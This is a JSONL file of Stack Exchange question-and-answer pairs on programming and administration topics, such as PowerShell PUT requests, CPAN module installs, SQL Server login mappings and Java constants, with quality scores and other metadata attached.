{"id": "hf_f79f8ee81b54", "question": "<p>VMware ESX, ESXi, and VirtualCenter are supposed to be able to support HTTP PUT uploads since version 3.5. I know how to do downloads, that's easy. I've never done PUT before.</p>\n\n<p>Background information on the topic is here: <a href=\"http://communities.vmware.com/thread/117504\" rel=\"nofollow noreferrer\">http://communities.vmware.com/thread/117504</a></p>\n", "question_body": "", "answer": "You should have a look at the\n```\nSend-PoshCode\n```\nfunction in the\nPoshCode\ncmdlets script module ... it uses a POST, not a PUT, but the technique is practically identical.  I don't have PUT server I can think of to test against, but basically, set your $url and your $data, and do something like:\n```\n```\nparam($url,$data,$filename,[switch]$quiet)\n\n$request = [System.Net.WebRequest]::Create($url)\n$data = [Text.Encoding]::UTF8.GetBytes( $data )\n\n## Be careful to set your content type appropriately...\n## This is what you're going to SEND THEM\n$request.ContentType = 'text/xml;charset=\"utf-8\"' # \"application/json\"; # \"application/x-www-form-urlencoded\"; \n## This is what you expect back\n$request.Accept = \"text/xml\" # \"application/json\";\n\n$request.ContentLength = $data.Length\n$request.Method = \"PUT\"\n## If you need Credentials ...\n# $request.Credentials = (Get-Credential).GetNetworkCredential()\n\n$put = new-object IO.StreamWriter $request.GetRequestStream()\n$put.Write($data,0,$data.Length)\n$put.Flush()\n$put.Close()\n\n## This is the \"simple\" way ...\n# $reader = new-object IO.StreamReader $request.GetResponse().GetResponseStream() ##,[Text.Encoding]::UTF8\n# write-output $reader.ReadToEnd()\n# $reader.Close()\n\n## But there's code in PoshCode.psm1 for doing a progress bar, something like ....\n\n$res = $request.GetResponse();\nif($res.StatusCode -eq 200) {\n   [int]$goal = $res.ContentLength\n   $reader = $res.GetResponseStream()\n   if($fileName) {\n      $writer = new-object System.IO.FileStream $fileName, \"Create\"\n   }\n\n   [byte[]]$buffer = new-object byte[] 4096\n   [int]$total = [int]$count = 0\n   do\n   {\n      $count = $reader.Read($buffer, 0, $buffer.Length);\n      if($fileName) {\n         $writer.Write($buffer, 0, $count);\n      } else {\n         $output += $encoding.GetString($buffer,0,$count)\n      }\n      if(!$quiet) {\n         $total += $count\n         if($goal -gt 0) {\n            Write-Progress \"Downloading $url\" \"Saving $total of $goal\" -id 0 -percentComplete (($total/$goal)*100)\n         } else {\n            Write-Progress \"Downloading $url\" \"Saving $total bytes...\" -id 0\n         }\n      }\n   } while ($count -gt 0)\n\n   $reader.Close()\n   if($fileName) {\n       $writer.Flush()\n       $writer.Close()\n   } else {\n       $output\n   }\n}\n$res.Close();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.347426"}
{"id": "hf_51f891304d07", "question": "<p>I get this error:</p>\n\n<p><code>Can't locate Foo.pm in @INC</code></p>\n\n<p>Is there an easier way to install it than downloading, untarring, making, etc?</p>\n", "question_body": "", "answer": "```\nsudo perl -MCPAN -e 'install Foo'\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.372698"}
{"id": "hf_5e62b93dc667", "question": "<p>Is it recommended that I use an <a href=\"http://en.wikipedia.org/wiki/Initialization_vector\" rel=\"noreferrer\">initialization vector</a> to encrypt/decrypt my data? Will it make things more secure? Is it one of those things that need to be evaluated on a case by case basis?</p>\n\n<p>To put this into actual context, the Win32 Cryptography function, <a href=\"http://msdn.microsoft.com/en-us/library/aa380272(VS.85).aspx\" rel=\"noreferrer\">CryptSetKeyParam</a> allows for the setting of an initialization vector on a key prior to encrypting/decrypting. Other API's also allow for this. </p>\n\n<p>What is generally recommended and why?</p>\n", "question_body": "", "answer": "An IV is essential when the same key might ever be used to encrypt more than one message.\nThe reason is because, under most encryption modes, two messages encrypted with the same key can be analyzed together.  In a simple stream cipher, for instance, XORing two ciphertexts encrypted with the same key results in the XOR of the two messages, from which the plaintext can be easily extracted using traditional cryptanalysis techniques.\nA weak IV is part of what made WEP breakable.\nAn IV basically mixes some unique, non-secret data into the key to prevent the same key ever being used twice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.396174"}
{"id": "hf_cedac0fac716", "question": "<p>I would like to read the text and binary attachments in a saved Outlook message (.msg file) from a Java application, without resorting to native code (JNI, Java Native Interface). </p>\n\n<p><a href=\"http://poi.apache.org/hsmf/index.html\" rel=\"noreferrer\">Apache POI-HSMF</a> seems to be in the right direction, but it's in very early stages of development... </p>\n", "question_body": "", "answer": "You could use Apache POIFS, which\nseems to be a little more mature,\nbut that would appear to duplicate the efforts of POI-HSMF.\nYou could use POI-HSMF and contribute changes to get the\nfeatures you need working.  That's\noften how FOSS projects like that expand.\nYou\ncould use com4j, j-Interop, or some\nother COM-level interop feature and\ninteract directly with the COM\ninterfaces that provide access to\nthe structured document.  That would\nbe much easier than trying to hit it\ndirectly through JNI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.454934"}
{"id": "hf_23a1c687851c", "question": "<p>This should be simple. I'm trying to import data from Access into SQL Server. I don't have direct access to the SQL Server database - it's on GoDaddy and they only allow web access. So I can't use the Management Studio tools, or other third-party Access upsizing programs that require remote access to the database.</p>\n\n<p>I wrote a query on the Access database and I'm trying to loop through and insert each record into the corresponding SQL Server table. But it keeps erroring out. I'm fairly certain it's because of the HTML and God knows what other weird characters are in one of the Access text fields. I tried using CFQUERYPARAM but that doesn't seem to help either.</p>\n\n<p>Any ideas would be helpful. Thanks.</p>\n", "question_body": "", "answer": "It's never advisable to loop through records when a SQL Update can be used.\nIt's not clear from your question what database interface layer you are using, but it is possible with the right interfaces to insert data from a source outside a database\nif\nthe interface being used supports both types of databases. This can be done in the FROM clause of your SQL statement by specifying not just the table name, but the connect string for the database. Assuming that your web host has ODBC drivers for Jet data (you're not actually using Access, which is the app development part -- you're only using the Jet database engine), the connect string should be sufficient.\nEDIT: If you use the Jet database engine to do this, you should be able to specify the source table something like this (where tblSQLServer is a table in your Jet MDB that is linked via ODBC to your SQL Server):\n```\n```\nINSERT INTO tblSQLServer (ID, OtherField ) \nSELECT ID, OtherField\nFROM [c:\\MyDBs\\Access.mdb].tblSQLServer\n```\n```\nThe key point is that you are leveraging the Jet db engine here to do all the heavy lifting for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.478808"}
{"id": "hf_4fcb7b2d2399", "question": "<p>I was asked this question in a job interview. The interviewer and I disagreed on what the correct answer was. I'm wondering if anyone has any data on this.</p>\n\n<p>Update: I should have mentioned that the use of shuffle() was strictly forbidden... sorry.</p>\n", "question_body": "", "answer": "```\n```\nshuffle($arr);\n```\n```\n:)\nedit: I should clarify... my definition of best involves not just algorithm efficiency but code readability and maintainability as well. Using standard library functions means maintaining less code and reading much less too. Beyond that, you can get into year-long debates with PhD professors about the best \"true random\" function, so somebody will always disagree with you on randomization questions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.525794"}
{"id": "hf_4544d6da5d2a", "question": "<p>I want to use a file to store the current version number for a piece of customer software which can be used by a start-up script to run the binary in the correct directory.</p>\n\n<p>For Example, if the run directory looks like this:</p>\n\n<pre><code>.\n..\n1.2.1\n1.2.2\n1.3.0\nrun.sh\ncurrent_version\n</code></pre>\n\n<p>And current_version contains:</p>\n\n<pre><code>1.2.2\n</code></pre>\n\n<p>I want <code>run.sh</code> to descend into 1.2.2 and run the program <code>foo</code>.</p>\n\n<p>The current solution is this:</p>\n\n<pre><code>#!/bin/sh\nversion = `cat current_version`\ncd $version\n./foo\n</code></pre>\n\n<p>It works but is not very robust.  It does not check for file existence, cannot cope with multiple lines, leading spaces, commented lines, blank files, etc.</p>\n\n<p>What is the most survivable way to do this with either a shell or perl script?</p>\n", "question_body": "", "answer": "That's a common approach.  You can check for dir/file existence using test operators such as \"if [ -d \"somedirectory\" ]; then\" or [ -t \"somefile\" ]\nI use symbolic links more often, though.  Then, you can just change your symbolic link to use the version you want.\nFor example,\n```\n$ ln -s 1.2.2 current_version\n$ ls -al\ntotal 20\ndrwxr-xr-x 5 dbreese dbreese 4096 2008-09-15 13:34 .\ndrwxr-xr-x 3 dbreese dbreese 4096 2008-09-15 13:34 ..\ndrwxr-xr-x 2 dbreese dbreese 4096 2008-09-15 13:34 1.2.1\ndrwxr-xr-x 2 dbreese dbreese 4096 2008-09-15 13:34 1.2.2\ndrwxr-xr-x 2 dbreese dbreese 4096 2008-09-15 13:34 1.3.0\nlrwxrwxrwx 1 dbreese dbreese    6 2008-09-15 13:34 current_version -> 1.2.2/\n```\nThen your script can just use \"cd current_version\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.573340"}
{"id": "hf_b23f3002605c", "question": "<p>Is it possible to have XML-embedded JavaScript executed to assist in client-side (browser-based) XSL transformations?  How is it done and how official is it?</p>\n\n<p>Microsoft's XML DOM objects allow this on the server-side (i.e. in ASP/ASP.NET).</p>\n\n<p><strong>Clarification:</strong> I do not mean HTML DOM scripting performed <em>after</em> the document is transformed, nor do I mean XSL transformations <em>initiated</em> by JavaScript in the browser (e.g. what the W3Schools page shows).  I am referring to actual script blocks located within the XSL during the transformation.</p>\n", "question_body": "", "answer": "Yes. It's browser dependant but you can use Javascript. There is a small but practical tutorial on w3schools.com. It's part of the XSLT tutorial.\nThe page:\nhttp://www.w3schools.com/xsl/xsl_client.asp\nThe XSLT tutorial:\nhttp://www.w3schools.com/xsl/default.asp\nThat site will be more helpful than myself. Good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.613351"}
{"id": "hf_e5bfe7b42783", "question": "<p>I know you could make a helper pretty easily given the data. So, if possible, please only submit answers that also include getting the data.</p>\n", "question_body": "", "answer": "We are using an action filter for this.\n...\n```\n```\npublic override void OnActionExecuting(ActionExecutingContext filterContext)\n    {\n        var controller = (Controller) filterContext.Controller;\n        Breadcrumb[] breadcrumbs = _breadcrumbManager.PushBreadcrumb(_breadcrumbLinkText);\n        controller.ViewData.Add(breadcrumbs);\n    }\n```\n```\nbefore you mention it, I too have a distaste for service location in the filter attributes - but we are left with few options.  IBreadcrumbManager looks like this:\n```\n```\npublic interface IBreadcrumbManager\n{\n    Breadcrumb[] PushBreadcrumb(string linkText);\n}\n```\n```\nThe implementation puts Breadcrumb objects into the Session. The Url is\n```\nHttpContext.Current.Request.RawUrl\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.647095"}
{"id": "hf_b39632595d8a", "question": "<p>I'm using Visual Studio (2005 and up). I am looking into trying out making an application where the user can change language for all menues, input formats and such. How would I go on doing this, as I suppose that there is some complete feature within .Net that can help me with this?</p>\n\n<p>I need to take the following into account (and fill me in if I miss some obvious stuff)</p>\n\n<ul>\n<li>Strings (menues, texts)</li>\n<li>Input data (parsing floats, dates, etc..)</li>\n<li>Should be easy to add support for another language</li>\n</ul>\n", "question_body": "", "answer": "For strings you should just separate your strings from your code (having an XML/DLL that will transform string IDs to real strings is one way to go). However you do need to make sure that you are supporting double byte characters for some languages (this is relevant if you use C/C++).\nFor input data what you want is to have different locale's. In Java this is relatively easy, and if you use C# it probably is quite easy also. In C/C++ I don't really know. The basic idea is that the input parsers should be different based on the locale selected at that time. So each field (textfield, textbox, etc.) must have an abstract parser that is then implemented by a different class depending on the locale (right to left, double byte, etc.).\nCheck the Java implementation for details on how they did it. It is quite functional.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.676229"}
{"id": "hf_c6130b93b95a", "question": "<p>I've seen examples like this: </p>\n\n<pre><code>public class MaxSeconds {\n   public static final int MAX_SECONDS = 25;\n}\n</code></pre>\n\n<p>and supposed that I could have a Constants class to wrap constants in, declaring them static final. I know practically no Java at all and am wondering if this is the best way to create constants.  </p>\n", "question_body": "", "answer": "That is perfectly acceptable, probably even the standard.\n```\n```\n(public/private) static final TYPE NAME = VALUE;\n```\n```\nwhere\n```\nTYPE\n```\nis the type,\n```\nNAME\n```\nis the name in all caps with underscores for spaces, and\n```\nVALUE\n```\nis the constant value;\nI highly recommend NOT putting your constants in their own classes or interfaces.\nAs a side note:  Variables that are declared final and are mutable can still be changed; however, the variable can never point at a different object.\nFor example:\n```\n```\npublic static final Point ORIGIN = new Point(0,0);\n\npublic static void main(String[] args){\n\n    ORIGIN.x = 3;\n\n}\n```\n```\nThat is legal and\n```\nORIGIN\n```\nwould then be a point at (3, 0).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.745564"}
{"id": "hf_a33b72485375", "question": "<p>I'm responsible for some test database servers.  Historically, too many other poeple have access to them.  They run on <code>SQL Server 2005</code>.  </p>\n\n<p>I've been writing queries and wrapping them in scripts so I can run a regular audit of rights.  Finding out which users had Administrator rights on the server itself was fine, as was finding out who had the <code>sysadmin</code> role on their login - it was a single line query for the latter.</p>\n\n<p>But how to find out which logins have a User Mapping to a particular (or any) database?  </p>\n\n<p>I can find the <code>sys.database_principals</code> and <code>sys.server_principals</code> tables.  I have located the <code>sys.databases table</code>.  I haven't worked out how to find out which users have rights on a database, and if so, what.  </p>\n\n<p>Every Google search brings up people manually using the User Mapping pane of the Login dialog, rather than using a query to do so. Any ideas?</p>\n", "question_body": "", "answer": "```\n```\nselect * from Master.dbo.syslogins l inner join sys.sysusers u on l.sid = u.sid\n```\n```\nThis will get you what users are mapped to which logins within a single database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.827702"}
{"id": "hf_5f82af826302", "question": "<p>Is there any visible progress?  Is it now just an academic exercise?  Do you believe Perl will continue to evolve with or without Perl 6 or will soon be forgotten?</p>\n", "question_body": "", "answer": "I feel like some good things may come from Perl 6 (e.g. parrot), but I'm not counting on ever doing anything with the language.\nIn the bioinformatics development group where I work, we're encouraging use of Python for new development where Perl would have been the language of choice in the past.  Python appears to provide a better path forward for us.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.851216"}
{"id": "hf_5795b2051280", "question": "<p>I have a Visual Studio application with a splash screen image cut into \"slices\". The positions are specified in the Form Designer so they line up properly on the screen. However, the images are out of place when the application is run on the Chinese version of Windows XP. It looks as if the image slices were \"exploded\" apart.</p>\n\n<p>What's going on here? Do international versions of Windows have a different meaning of the \"top left\" coordinate of the picture? How can I force the images to be precisely displayed where I want them?</p>\n", "question_body": "", "answer": "In the OnLoad event of the form, you could always explicitly set the location of each section. If starting at the top left with the first and assuming an array with the images in order:\n```\n```\nimages[0].Location = new Point(0,0);\nfor (int i = 1; i < images.Length; i++)\n{\n  images[i].Location = new Point(images[i - 1].Location.X + images[i - 1].Width, 0);\n}\n```\n```\nThat will set the first image to the top left corner and all subsequent images to just after the last image.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.907346"}
{"id": "hf_444eaa5ab406", "question": "<p>Do you refactor your SQL first? Your architecture? or your code base?\nDo you change languages? Do you throw everything away and start from scratch? [Not refactoring]</p>\n", "question_body": "", "answer": "This really depends on the state of the codebase... are there massive classes? one class with mega-methods? Are the classes tightly coupled? is configuration a burden?\nConsidering this, I suggest reading\nWorking Effectively with Legacy Code\n, picking out your problems, and applying the recommendations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:22.942541"}
{"id": "hf_ac32172768b4", "question": "<p>When using Google Chrome, I want to debug some JavaScript code. How can I do that?</p>\n", "question_body": "", "answer": "Try adding this to your source:\n```\n```\ndebugger;\n```\n```\nIt works in most, if not all browsers. Just place it somewhere in your code, and it will act like a breakpoint.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.014244"}
{"id": "hf_74349e5ac8a8", "question": "<p>I have a servlet that is used for many different actions, used in the <a href=\"http://java.sun.com/blueprints/patterns/FrontController.html\" rel=\"noreferrer\">Front Controller pattern</a>.  Does anyone know if it is possible to tell if the data posted back to it is enctype=\"multipart/form-data\"?  I can't read the request parameters until I decide this, so I can't dispatch the request to the proper controller.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Yes, the\n```\nContent-type\n```\nheader in the user agent's request should include\n```\nmultipart/form-data\n```\nas described in (at least) the HTML4 spec:\nhttp://www.w3.org/TR/html401/interact/forms.html#h-17.13.4.2", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.049120"}
{"id": "hf_06e67df526c4", "question": "<p>I'm writing a mobile phone game using j2me. In this game, I am using multiple Canvas objects.\nFor example, the game menu is a Canvas object, and the actual game is a Canvas object too.\nI've noticed that, on some devices, when I switch from one Canvas to another, e.g from the main menu to the game, the screen momentarily \"flickers\". I'm using my own double buffered Canvas.</p>\n\n<p>Is there anyway to avoid this?</p>\n", "question_body": "", "answer": "Do you use double buffering? If the device itself does not support double buffering you should define a off screen buffer (Image) and paint to it first and then paint the end result to the real screen. Do this for each of your canvases. Here is an example:\n```\n```\npublic class MyScreen extends Canvas {\n   private Image osb;\n   private Graphics osg;\n   //...\n\n   public MyScreen()\n   {\n         // if device is not double buffered\n         // use image as a offscreen buffer\n         if (!isDoubleBuffered())\n         {\n            osb = Image.createImage(screenWidth, screenHeight);\n            osg = osb.getGraphics();\n            osg.setFont(defaultFont);\n         }\n   }\n\n   protected void paint(Graphics graphics)\n   {\n      if (!isDoubleBuffered())\n      {\n         // do your painting on off screen buffer first\n         renderWorld(osg);\n\n         // once done paint it at image on the real screen\n         graphics.drawImage(osb, 0, 0, Tools.GRAPHICS_TOP_LEFT);\n      }\n      else\n      {\n         osg = graphics;\n         renderWorld(graphics);\n      }\n   }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.072218"}
{"id": "hf_fae97feffed5", "question": "<p>Is there a way to check to see if an iPhone is online from a web app. That is, in mobile Safari, can I check the online status of the device to see if I should try an AJAX call or not.</p>\n\n<p>In Firefox/regular WebKit, this would be:</p>\n\n<pre><code>if(navigator.onLine) \n{\n    onlineCode() \n}\n</code></pre>\n", "question_body": "", "answer": "That same code should work in the WebKit nightly build as of May 16th 2008. I guess that means you need to hope the 2.1 update included a new build of safari.\nhttps://bugs.webkit.org/show_bug.cgi?id=19105", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.150093"}
{"id": "hf_023c48f9764a", "question": "<p>Can ANTLR output C# using StringTemplate or any text I want it to like Yacc/Bison or does it only output to java?  From the examples I've looked at it appears to be a very java centric tool.</p>\n", "question_body": "", "answer": "You can download the latest source code as a tar file from\nhere\n.  The C# runtime (binary) is also available directly,\nhere\n.\nWhich solution are you looking for?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.194962"}
{"id": "hf_3a077a5fc79a", "question": "<p>I have the following Java 6 code:</p>\n\n<pre><code>    Query q = em.createNativeQuery( \n        \"select T.* \" +\n        \"from Trip T join Itinerary I on (T.itinerary_id=I.id) \" +\n        \"where I.launchDate between :start and :end \" +\n        \"or ADDDATE(I.launchDate, I.equipmentPullDayOfTrip) between :start and :end\",\n        \"TripResults\" );\n\n    q.setParameter( \"start\", range.getStart(), TemporalType.DATE );\n    q.setParameter( \"end\", range.getEnd(), TemporalType.DATE );\n\n    @SqlResultSetMapping( name=\"TripResults\",\n        entities={\n            @EntityResult( entityClass=TripEntity.class ),\n            @EntityResult( entityClass=CommercialTripEntity.class )\n        }\n    )\n</code></pre>\n\n<p>I receive a syntax error on the last closing right parenthesis. Eclipse gives: \"Insert EnumBody to complete block statement\" and \"Insert enum Identifier to complete EnumHeaderName\".  Similar syntax error from javac.</p>\n\n<p>What am I doing wrong?</p>\n", "question_body": "", "answer": "The Hibernate annotations docs (\nhttp://www.hibernate.org/hib_docs/annotations/reference/en/html_single/\n) suggest that this should be a class-level annotation rather than occurring inline within your code.  And indeed when I paste that code into my IDE and move it around, the compile errors are present when the annotation is inline, but vanish when I put it in above the class declaration:\n```\n```\n@SqlResultSetMapping( name=\"TripResults\",\n        entities={\n            @EntityResult( entityClass=TripEntity.class ),\n            @EntityResult( entityClass=CommercialTripEntity.class )\n        }\n    )\npublic class Foo {\n   public void bogus() {\n      Query q = em.createNativeQuery( \n        \"select T.* \" +\n        \"from Trip T join Itinerary I on (T.itinerary_id=I.id) \" +\n        \"where I.launchDate between :start and :end \" +\n        \"or ADDDATE(I.launchDate, I.equipmentPullDayOfTrip) between :start and :end\",\n        \"TripResults\" );\n\n      q.setParameter( \"start\", range.getStart(), TemporalType.DATE );\n      q.setParameter( \"end\", range.getEnd(), TemporalType.DATE );\n   }\n}\n```\n```\n...obviously I have no evidence that the above code will actually work.  I have only verified that it doesn't cause compile errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.215312"}
{"id": "hf_c215c5d4d337", "question": "<p>I know that garbage collection is automated in Java. But I understood that if you call <code>System.gc()</code> in your code that the JVM may or may not decide to perform garbage collection at that point. How does this work precisely? On what basis/parameters exactly does the JVM decide to do (or not do) a GC when it sees <code>System.gc()</code>?</p>\n\n<p>Are there any examples in which case it's a good idea to put this in your code?</p>\n", "question_body": "", "answer": "In practice, it\nusually\ndecides to do a garbage collection.  The answer varies depending on lots of factors, like which JVM you're running on, which mode it's in, and which garbage collection algorithm it's using.\nI wouldn't depend on it in your code.  If the JVM is about to throw an OutOfMemoryError, calling System.gc() won't stop it, because the garbage collector will attempt to free as much as it can before it goes to that extreme.  The only time I've seen it used in practice is in IDEs where it's attached to a button that a user can click, but even there it's not terribly useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.235499"}
{"id": "hf_f1912f1ea282", "question": "<p>How do I get started?</p>\n", "question_body": "", "answer": "You'll need an interface to the Oracle SQL database. As Bob pointed out, Allegro CL has such an interface.\nGNU CLISP apparently comes with an interface to the database as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.255754"}
{"id": "hf_de8ae33a32ea", "question": "<p>Is there a way to detect, from within the finally clause, that an exception is in the process of being thrown?</p>\n\n<p>See the example below:</p>\n\n<pre><code>\ntry {\n    // code that may or may not throw an exception\n} finally {\n    SomeCleanupFunctionThatThrows();\n    // if currently executing an exception, exit the program,\n    // otherwise just let the exception thrown by the function\n    // above propagate\n}\n</code></pre>\n\n<p>or is ignoring one of the exceptions the only thing you can do?</p>\n\n<p>In C++ it doesn't even let you ignore one of the exceptions and just calls terminate(). Most other languages use the same rules as java.</p>\n", "question_body": "", "answer": "No I do not believe so.  The catch block will run to completion before the finally block.\n```\n```\ntry {\n    // code that may or may not throw an exception\n} catch {\n// catch block must exist.\nfinally {\n    SomeCleanupFunctionThatThrows();\n// this portion is ran after catch block finishes\n}\n```\n```\nOtherwise you can add a synchronize() object that the exception code will use, that you can check in the finally block, which would help you identify if in a seperate thread you are running an exception.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.354701"}
{"id": "hf_8c0fe9652d54", "question": "<p>I'm trying to convert old QuickTime framework code to the 64-bit Cocoa-based QTKit on OS X, which means that I can't drop down to the straight C function calls at any time.  Specifically, I'm trying to find a way to write QuickTime VR movies with QTKit, as they require some special metadata to set the display controller.  How can I do this with QTKit?</p>\n", "question_body": "", "answer": "As far as I can tell from the QTKit Documentation there is not way to do this in straight QTKit cocoa calls.  You'll need to\ndo this using the Quicktime-C APIs\n, which of course aren't available to 64-bit applications.\nI've run into issues like this numerous times when trying to convert a 32-bit app that uses Quicktime into a 64-bit app.  Here's hoping that Quicktime X will have a more fully featured QTKit set of APIs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.391199"}
{"id": "hf_c98e8e13bbf4", "question": "<p>I've created a python object, but I want to send signals on it.  I made it inherit from gobject.GObject, but there doesn't seem to be any way to create a new signal on my object.</p>\n", "question_body": "", "answer": "Here is how:\n```\n```\nimport gobject\n\nclass MyGObjectClass(gobject.GObject):\n    ...\n\ngobject.signal_new(\"signal-name\", MyGObjectClass, gobject.SIGNAL_RUN_FIRST,\n    None, (str, int))\n```\n```\nWhere the second to last argument is the return type and the last argument is a tuple of argument types.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.504186"}
{"id": "hf_08f5e68d82a4", "question": "<p>Are there any advantages compiling for .NET Framework 3.5 instead of 2.0?</p>\n<p>For example less memory consumption, faster startup, better performance...</p>\n<p>Personally I don't think so however, I may have missed something.</p>\n<h2>Edits</h2>\n<ol>\n<li><p>Of course there are more features in the 3.5 framework, but these are not the focus of this question.</p>\n</li>\n<li><p>There seem to be no advantages.</p>\n</li>\n<li><p>Yes I meant targeting the Framework. I have installed the latest 3.5 SP1 and VS 2008 so what's the difference between compiling with and targeting a framework? I can target the framework in the project options but how do I 'compile with' a specific framework version? I did not know that there is a difference.</p>\n</li>\n<li><p>So for now we agree that there are no advantages.</p>\n</li>\n</ol>\n", "question_body": "", "answer": "3.5 has classes that 2.0 doesn't. Func<...> for instance. If you aim for 2.0, you can't use them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:23.565391"}
